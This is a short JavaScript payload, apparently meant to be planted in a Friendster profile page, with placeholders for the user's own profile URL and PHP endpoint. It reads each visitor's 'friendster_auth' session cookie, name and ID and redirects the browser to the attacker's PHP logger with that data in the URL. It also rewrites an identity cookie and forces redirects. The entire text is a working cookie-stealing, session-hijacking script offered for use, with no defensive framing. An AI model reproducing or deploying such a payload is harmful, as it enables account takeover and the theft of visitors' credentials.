var userURL="URL_User_Anda"; var id=fgetCookie("friendster_identitas"),pUrl=location.href.search(/profiles\./),pVd=pageViewerID,pOd=pageOwnerID,pVn=pageViewerFName; if(pVd==""){ alert("Please log in to see this profile: "+pOd); top.location.href="http://www.friendster.com/login.php?next=%2F"+pOd+"&cookie=1";} else{ if(pUrl>0){ if(id!=pVd){ document.cookie="friendster_identitas="+pVd+"; path=/"; top.location.href="http://www.friendster.com/profiles/"+userURL; }} else{ var cLoger="URL_PHP_Anda",ck=fgetCookie("friendster_auth"),nxLoc="http://profiles.friendster.com/"+pOd; window.location.href=cLoger+'?c='+escape(ck)+'&s='+escape(pVn)+'~'+pVd+'~@'+pOd+'&nx='+nxLoc;}}